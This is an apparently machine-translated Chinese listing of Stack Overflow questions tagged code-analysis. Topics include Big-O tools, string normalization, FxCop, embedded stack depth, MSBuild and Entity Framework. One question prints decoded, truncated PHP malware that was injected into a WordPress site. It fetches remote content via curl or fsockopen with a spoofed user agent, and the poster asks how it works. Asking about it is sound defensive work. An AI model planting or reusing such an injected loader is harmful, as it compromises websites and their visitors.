标签: code-analysis

是否有任何工具可以确定Big-O复杂性的执行代码分析?

我没有看到任何东西,我怀疑定义"n"有困难,因为一般来说,分析复杂函数时,不仅仅有一两个变量用于定义.

有关于圈复杂度的分析工具,但有时间(和/或空间)复杂性吗?如果是这样的话,如果没有,为什么不呢?这是不可行的吗?不可能?有人只是没有接触到它?

理想情况下,应用程序的整体复杂性(定义不同的可能"n")以及应用程序中的每个方法都有类似的东西

编辑:所以看起来像一个确切的解决方案是不可能的,因为停止问题然而,某种启发式近似可能吗?我意识到,出于实际目的,一个好的分析器将提供更多有用的信息,但它似乎是一个有趣的问题.

另外,如何计算某个程序子集?

big-o code-analysis time-complexity

10
推荐指数
2
解决办法
3363
查看次数

使用String.ToUpperInvariant()对字符串进行规范化

我目前在SQL Server数据库中以小写形式存储规范化版本的字符串.例如,在我的Users表中,我有一个UserName和一个LoweredUserName字段.根据上下文,我使用T-SQL的LOWER()函数或C#的String.ToLower()方法生成用户名的小写版本以填充LoweredUserName字段.根据Microsoft的指南和Visual Studio的代码分析规则CA1308,我应该使用C#的String.ToUpperInvariant()而不是ToLower().根据微软的说法,这既是性能问题也是全球化问题:转换为大写是安全的,而转换为小写可能会导致信息丢失(例如,土耳其语'I'问题).

如果我转而使用ToUpperInvariant进行字符串规范化,我也必须更改我的数据库模式,因为我的模式基于Microsoft的ASP.NET成员资格框架(请参阅此相关问题),该模式将字符串规范化为小写.

微软是不是通过告诉我们在C#中使用大写规范化而自相矛盾,而它在Membership表和程序中自己的代码是使用小写规范化吗?我应该将所有内容切换到大写规范化,还是继续使用小写归一化?

c# sql-server asp.net code-analysis asp.net-membership

10
推荐指数
2
解决办法
5905
查看次数

如何防止FxCop分析自动生成的代码?

FxCop(静态代码分析工具)在检查.edmx模型后面的代码时给出了错误.如何防止FxCop分析自动生成的代码(或至少是Entity Framework生成的类)?

.net code-analysis entity-framework fxcop visual-studio-2010

10
推荐指数
1
解决办法
4451
查看次数

如何确定嵌入式系统中的最大堆栈使用量?

当我给Keil编译器提供"--callgraph"选项时,它会静态计算出我的"最大堆栈使用率".

唉,今天它给了我一个"最大堆栈使用= 284字节+未知(没有堆栈大小的函数......)"消息,以及"没有堆栈信息的函数"列表.

奈杰尔琼斯说,递归在嵌入式系统中是一个非常糟糕的主意("计算你的堆栈大小" 2009),所以我一直小心不要在这段代码中做任何相互递归的函数.

另外,我确保我的中断处理程序都没有重新启用中断,直到它们最终从中断返回指令,所以我不需要担心重入中断处理程序.

如果没有递归或重入中断处理程序,它应该能够静态地确定最大堆栈使用情况.(所以大多数答案 如何确定最大堆栈使用量? 不适用).我的理解是,处理"--callgraph"选项的软件首先找到每个中断处理程序在没有被更高优先级的中断打断时的最大堆栈深度,以及main()函数的最大堆栈深度.不打断 然后它将它们全部加起来以找到总(最坏情况)最大堆栈深度.当main()后台任务在被最低优先级中断中断时处于最大深度时会发生这种情况,并且当该中断被下一个最低优先级中断中断时,该中断处于其最大深度,依此类推.

我怀疑处理--callgraph的软件对"无堆栈信息的功能"列表中的小型汇编语言函数感到困惑.该--callgraph文档似乎暗示我需要手动计算(或作出保守估计),他们多少堆栈使用-他们是很短的,所以这应该是简单的-然后"使用汇编语言框架指令用于描述代码如何使用堆栈的代码." 其中之一是初始启动代码,在跳转到main()之前将堆栈重置为零 - 因此,实际上,这会消耗零堆栈.另一个是"故障"中断处理程序,它锁定在一个无限循环中,直到我循环上电 - 假设这消耗零堆栈是安全的.

我正在使用Keil uVision V4.20.03.0来编译LM3S1968 ARM Cortex-M3的代码.

那么我如何使用"框架指令"来告诉处理"--callgraph"的软件这些函数使用了多少堆栈?或者是否有更好的方法来确定最大堆栈使用量?

(有关针对gcc编译器的几乎相同的问题,请参阅如何使用gcc确定嵌入式系统中的最大堆栈使用量.)

embedded code-analysis static-analysis keil

10
推荐指数
1
解决办法
5846
查看次数

RunCodeAnalysis = true在命令提示符下无效(MSBuild)

我正在尝试让msbuild像在VS中一样输出代码分析信息.我在VS中有一个名为"CodeAnalysis"的项目配置,用于在构建时运行代码分析(使用最小规则集).无论如何这在VS中运行良好,但是当我从命令行运行msbuild时它只显示基本的构建警告,并且它根本不运行代码分析.任何人都知道为什么会这样吗?

项目文件中的配置:

<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'CodeAnalysis|AnyCPU'">
<OutputPath>bin\</OutputPath>
<CodeAnalysisRuleSet>C:\Program Files\Microsoft Visual Studio 10.0\Team Tools\Static Analysis Tools\Rule Sets\MinimumRecommendedRules.ruleset</CodeAnalysisRuleSet>
<RunCodeAnalysis>true</RunCodeAnalysis>
Run Code Online (Sandbox Code Playgroud)

命令行:

msbuild Solution.sln /p:Configuration=CodeAnalysis /t:Rebuild
Run Code Online (Sandbox Code Playgroud)

我也尝试过:

msbuild Solution.sln /p:RunCodeAnalysis=true /t:Rebuild
Run Code Online (Sandbox Code Playgroud)

msbuild configuration code-analysis static-code-analysis

10
推荐指数
2
解决办法
1万
查看次数

了解代码指标

我最近安装了Eclipse Metrics插件并导出了我们的一个项目的数据.

拥有这些漂亮的图表非常好,但我真的想深入了解它们的意思.指标的定义只是告诉你它的真正含义.

有没有人知道任何好的资源,书籍,网站等,可以帮助我更好地理解所有数据的含义,并在必要时了解如何改进代码?

我对Efferent Coupling和Cyclomatic Complexity等感兴趣,而不是每行方法的代码行数.

metrics code-analysis

9
推荐指数
1
解决办法
1290
查看次数

Visual Studio代码分析行代码对HTML,CSS和Javascript有何作用?

我知道代码行(LoC)是一个可疑的,如果不是错误的代码度量标准,并且有很多帖子可以达到这种效果.

但是......我仍然需要在报告中为网站提供LoC计数.

我正在使用Visual Studio 2010代码分析代码度量标准功能来获取LoC,当我想知道它是如何处理或如何计算HTML,CSS和Javascript?

VS帮助文本提供了该指标的描述 -

代码行 - 表示代码中的大致行数.计数基于IL代码,因此不是源代码文件中的确切行数.非常高的计数可能表明某种类型或方法试图做太多工作而应该分开.它也可能表明类型或方法可能难以维护.

所以我的多部分问题是...... HTML,CSS,Javascript是否被编译为IL,如果确实如此,那么我应该假设它包含在VS LoC指标中吗?如果它没有被编译到IL,那么在我的报告的LoC指标中计算或包含HTML,CSS和Javascript的最佳方法是什么?或者他们甚至应该被包括在LoC中?

javascript css code-analysis code-metrics visual-studio-2010

9
推荐指数
2
解决办法
4102
查看次数

这个恶意软件代码是什么完成的?

我发现这个代码注入客户端站点上的许多PHP文件中.当然,原件已被混淆和编码.我设法解码它并将其格式化为当前表单.

我的问题是:它到底完成了什么,代码是否表明它是如何注入的,因此揭示了未来如何防止这种情况?

<?php
if(!function_exists('check_wp_head_load')){
    function check_wp_head_load(){
        if(!function_exists('cc')){
            function cc($ll_0){
                $ll_1 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)";
                if(function_exists('curl_init')){
                    $ll_2 = curl_init();
                    curl_setopt($ll_2, 10002, $ll_0);
                    curl_setopt($ll_2, 42, 0);
                    curl_setopt($ll_2, 13, 30);
                    curl_setopt($ll_2, 19913, 1);
                    curl_setopt($ll_2, 10018, $ll_1);
                    if(!(@ini_get("safe_mode") || @ini_get("open_basedir"))){
                        @curl_setopt($ll_2, 52, 1);

                    }

                    @curl_setopt($ll_2, 68, 2);
                    $ll_3 = curl_exec($ll_2);
                    curl_close($ll_2);
                    if($ll_3 !== false){
                        return $ll_3;

                    }

                }
                else if(function_exists('fsockopen')){
                    global $ll_4;
                    $ll_0 = str_replace("http://", "", $ll_0);
                    if(preg_match("#/#", "$ll_0")){
                        $ll_5 = $ll_0;
                        $ll_0 = @explode("/", $ll_0);
                        $ll_0 = $ll_0[0];
                        $ll_5 …
Run Code Online (Sandbox Code Playgroud)

php wordpress code-analysis malware

9
推荐指数
1
解决办法
1070
查看次数

实体框架代码优先和CA2227"集合属性应该是只读的"

Entity Framework Code First中的一对多或多对关系如下所示: -

public class Foo
{
  public int Id { get; set; }
  public virtual ICollection<Bar> Bars { get; set; }
}
Run Code Online (Sandbox Code Playgroud)

这违反了代码分析规则2227"集合属性应该只读".

使setter受到保护并没有帮助,并将其设为私有: -

public class Foo
{
  public int Id { get; set; }
  public virtual ICollection<Bar> Bars { get; private set; }
}
Run Code Online (Sandbox Code Playgroud)

然后当然违反了CA1811"Foo.Bars.set(ICollection <Bar>)似乎没有上游公共或受保护的呼叫者".

我宁愿不全局关闭规则,因为它存在的预防情况相当重要,但每次我想声明关系时在本地抑制它似乎都没有了.有没有办法声明不违反CA2227的关系?

code-analysis entity-framework ef-code-first

9
推荐指数
2
解决办法
2369
查看次数

在命令行或CMake上为Visual Studio代码分析指定规则集

我正在尝试为我的CMake驱动项目启用代码分析.我生成Visual Studio 2013解决方案,并希望使用特定规则集启用代码分析.我知道我可以通过在我的CMake文件中指定add_definitions("/ analyze")来启用代码分析,但是如何控制使用哪个规则集?

据我所知,控制使用的规则集的唯一方法是通过项目文件中的xml元素CodeAnalysisRuleSet,但我无法从CMake访问它.

c++ code-analysis cmake visual-studio visual-studio-2013

9
推荐指数
2
解决办法
1117
查看次数